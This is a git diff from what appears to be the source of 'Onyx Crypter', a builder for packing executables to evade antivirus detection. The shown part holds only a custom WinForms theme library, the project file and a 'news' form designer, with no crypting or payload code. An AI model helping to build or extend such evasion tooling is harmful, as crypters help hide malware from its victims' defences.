Properties " + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If Not IsHandleCreated AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then ColorHook() + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not IsHandleCreated Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + If value Then InvalidateBitmap() Else B = Nothing + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _IsAnimated As Boolean + Protected Property IsAnimated() As Boolean + Get + Return _IsAnimated + End Get + Set(ByVal value As Boolean) + _IsAnimated = value + InvalidateTimer() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + + Private Sub InvalidateTimer() + If DesignMode OrElse Not DoneCreation Then Return + + If _IsAnimated Then + AddAnimationCallback(AddressOf DoAnimation) + Else + RemoveAnimationCallback(AddressOf DoAnimation) + End If + End Sub +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + + Protected Overridable Sub OnAnimation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics 'TODO: Potential issues during multi-threading. + + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = Center(DrawTextSize) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = Center(image.Size) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + +#End Region + +#Region " CreateRound " + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +#End Region + +End Class + +Module ThemeShare + +#Region " Animation " + + Private Frames As Integer + Private Invalidate As Boolean + Public ThemeTimer As New PrecisionTimer + + Private Const FPS As Integer = 50 '1000 / 50 = 20 FPS + Private Const Rate As Integer = 10 + + Public Delegate Sub AnimationDelegate(ByVal invalidate As Boolean) + + Private Callbacks As New List(Of AnimationDelegate) + + Private Sub HandleCallbacks(ByVal state As IntPtr, ByVal reserve As Boolean) + Invalidate = (Frames >= FPS) + If Invalidate Then Frames = 0 + + SyncLock Callbacks + For I As Integer = 0 To Callbacks.Count - 1 + Callbacks(I).Invoke(Invalidate) + Next + End SyncLock + + Frames += Rate + End Sub + + Private Sub InvalidateThemeTimer() + If Callbacks.Count = 0 Then + ThemeTimer.Delete() + Else + ThemeTimer.Create(0, Rate, AddressOf HandleCallbacks) + End If + End Sub + + Sub AddAnimationCallback(ByVal callback As AnimationDelegate) + SyncLock Callbacks + If Callbacks.Contains(callback) Then Return + + Callbacks.Add(callback) + InvalidateThemeTimer() + End SyncLock + End Sub + + Sub RemoveAnimationCallback(ByVal callback As AnimationDelegate) + SyncLock Callbacks + If Not Callbacks.Contains(callback) Then Return + + Callbacks.Remove(callback) + InvalidateThemeTimer() + End SyncLock + End Sub + +#End Region + +End Module + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +Structure Bloom + + Public _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private _Value As Color + Property Value() As Color + Get + Return _Value + End Get + Set(ByVal value As Color) + _Value = value + End Set + End Property + + Property ValueHex() As String + Get + Return String.Concat("#", _ + _Value.R.ToString("X2", Nothing), _ + _Value.G.ToString("X2", Nothing), _ + _Value.B.ToString("X2", Nothing)) + End Get + Set(ByVal value As String) + Try + _Value = ColorTranslator.FromHtml(value) + Catch + Return + End Try + End Set + End Property + + + Sub New(ByVal name As String, ByVal value As Color) + _Name = name + _Value = value + End Sub +End Structure + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 11/30/2011 +'Changed: 11/30/2011 +'Version: 1.0.0 +'------------------ +Class PrecisionTimer + Implements IDisposable + + Private _Enabled As Boolean + ReadOnly Property Enabled() As Boolean + Get + Return _Enabled + End Get + End Property + + Private Handle As IntPtr + Private TimerCallback As TimerDelegate + + _ + Private Shared Function CreateTimerQueueTimer( _ + ByRef handle As IntPtr, _ + ByVal queue As IntPtr, _ + ByVal callback As TimerDelegate, _ + ByVal state As IntPtr, _ + ByVal dueTime As UInteger, _ + ByVal period As UInteger, _ + ByVal flags As UInteger) As Boolean + End Function + + _ + Private Shared Function DeleteTimerQueueTimer( _ + ByVal queue As IntPtr, _ + ByVal handle As IntPtr, _ + ByVal callback As IntPtr) As Boolean + End Function + + Delegate Sub TimerDelegate(ByVal r1 As IntPtr, ByVal r2 As Boolean) + + Sub Create(ByVal dueTime As UInteger, ByVal period As UInteger, ByVal callback As TimerDelegate) + If _Enabled Then Return + + TimerCallback = callback + Dim Success As Boolean = CreateTimerQueueTimer(Handle, IntPtr.Zero, TimerCallback, IntPtr.Zero, dueTime, period, 0) + + If Not Success Then ThrowNewException("CreateTimerQueueTimer") + _Enabled = Success + End Sub + + Sub Delete() + If Not _Enabled Then Return + Dim Success As Boolean = DeleteTimerQueueTimer(IntPtr.Zero, Handle, IntPtr.Zero) + + If Not Success AndAlso Not Marshal.GetLastWin32Error = 997 Then + ThrowNewException("DeleteTimerQueueTimer") + End If + + _Enabled = Not Success + End Sub + + Private Sub ThrowNewException(ByVal name As String) + Throw New Exception(String.Format("{0} failed. Win32Error: {1}", name, Marshal.GetLastWin32Error)) + End Sub + + Public Sub Dispose() Implements IDisposable.Dispose + Delete() + End Sub +End Class + +#End Region \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/builder.vbproj b/scode (onxyCrypter/builder/builder/builder.vbproj new file mode 100644 index 0000000..e54d7e6 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/builder.vbproj @@ -0,0 +1,216 @@ + + + + Debug + x86 + + + 2.0 + {BFC8A19F-1593-4E9A-8992-5F7D2F2B4032} + WinExe + Onyx.My.MyApplication + Onyx + Onyx Crypter + 512 + WindowsForms + v4.0 + + false + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + true + true + + + x86 + true + full + true + true + bin\Debug\ + Onyx Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + Onyx Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + AnyCPU + bin\Debug\ + true + + + AnyCPU + bin\Release\ + + + My Project\app.manifest + + + onxycrypterlogo.ico + + + CA8E1AE73C1737F6C811CB4884DC261809D24D38 + + + builder_TemporaryKey.pfx + + + true + + + false + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + Component + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + news.vb + + + Form + + + Component + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + My.Resources + Designer + Resources.Designer.vb + + + news.vb + + + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + False + Microsoft .NET Framework 4 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + false + + + False + Windows Installer 3.1 + true + + + + + + + + + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/builder.vbproj.user b/scode (onxyCrypter/builder/builder/builder.vbproj.user new file mode 100644 index 0000000..9c62ad0 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/builder.vbproj.user @@ -0,0 +1,16 @@ + + + + publish\ + + + + + + en-US + false + + + false + + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/builder_TemporaryKey.pfx b/scode (onxyCrypter/builder/builder/builder_TemporaryKey.pfx new file mode 100644 index 0000000..8fa476a Binary files /dev/null and b/scode (onxyCrypter/builder/builder/builder_TemporaryKey.pfx differ diff --git a/scode (onxyCrypter/builder/builder/news.Designer.vb b/scode (onxyCrypter/builder/builder/news.Designer.vb new file mode 100644 index 0000000..87fcb44 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/news.Designer.vb @@ -0,0 +1,121 @@ + _ +Partial Class news + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.VTheme1 = New Onyx.VTheme() + Me.VTextBox2 = New Onyx.VTextBox() + Me.VTextBox1 = New Onyx.VTextBox() + Me.VButton1 = New Onyx.VButton() + Me.VTheme1.SuspendLayout() + Me.SuspendLayout() + ' + 'VTheme1 + ' + Me.VTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VTheme1.Colors = New Onyx.Bloom(-1) {} + Me.VTheme1.Controls.Add(Me.VButton1) + Me.VTheme1.Controls.Add(Me.VTextBox2) + Me.VTheme1.Controls.Add(Me.VTextBox1) + Me.VTheme1.Customization = "" + Me.VTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.VTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTheme1.Image = Nothing + Me.VTheme1.Location = New System.Drawing.Point(0, 0) + Me.VTheme1.Movable = True + Me.VTheme1.Name = "VTheme1" + Me.VTheme1.NoRounding = False + Me.VTheme1.Sizable = True + Me.VTheme1.Size = New System.Drawing.Size(284, 262) + Me.VTheme1.SmartBounds = True + Me.VTheme1.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.VTheme1.TabIndex = 0 + Me.VTheme1.Text = "News" + Me.VTheme1.TransparencyKey = System.Drawing.Color.Fuchsia + Me.VTheme1.Transparent = False + ' + 'VTextBox2 + ' + Me.VTextBox2.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox2.Customization = "" + Me.VTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox2.Image = Nothing + Me.VTextBox2.Location = New System.Drawing.Point(12, 67) + Me.VTextBox2.MaxCharacters = 0 + Me.VTextBox2.Multiline = True + Me.VTextBox2.Name = "VTextBox2" + Me.VTextBox2.NoRounding = False + Me.VTextBox2.Size = New System.Drawing.Size(260, 157) + Me.VTextBox2.TabIndex = 1 + Me.VTextBox2.Transparent = False + Me.VTextBox2.UsePasswordMask = False + ' + 'VTextBox1 + ' + Me.VTextBox1.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox1.Customization = "" + Me.VTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox1.Image = Nothing + Me.VTextBox1.Location = New System.Drawing.Point(12, 36) + Me.VTextBox1.MaxCharacters = 0 + Me.VTextBox1.Multiline = False + Me.VTextBox1.Name = "VTextBox1" + Me.VTextBox1.NoRounding = False + Me.VTextBox1.Size = New System.Drawing.Size(260, 25) + Me.VTextBox1.TabIndex = 0 + Me.VTextBox1.Transparent = False + Me.VTextBox1.UsePasswordMask = False + ' + 'VButton1 + ' + Me.VButton1.Colors = New Onyx.Bloom(-1) {} + Me.VButton1.Customization = "" + Me.VButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton1.Image = Nothing + Me.VButton1.Location = New System.Drawing.Point(12, 230) + Me.VButton1.Name = "VButton1" + Me.VButton1.NoRounding = False + Me.VButton1.Size = New System.Drawing.Size(260, 23) + Me.VButton1.TabIndex = 2 + Me.VButton1.Text = "Close" + Me.VButton1.Transparent = False + ' + 'news + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 262) + Me.Controls.Add(Me.VTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "news" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "news" + Me.TransparencyKey = System.Drawing.Color.Fuchsia + Me.VTheme1.ResumeLayout(False) + Me.ResumeLayout(False) + + End Sub + Friend WithEvents VTheme1 As Onyx.VTheme + Friend WithEvents VTextBox2 As Onyx.VTextBox + Friend WithEvents 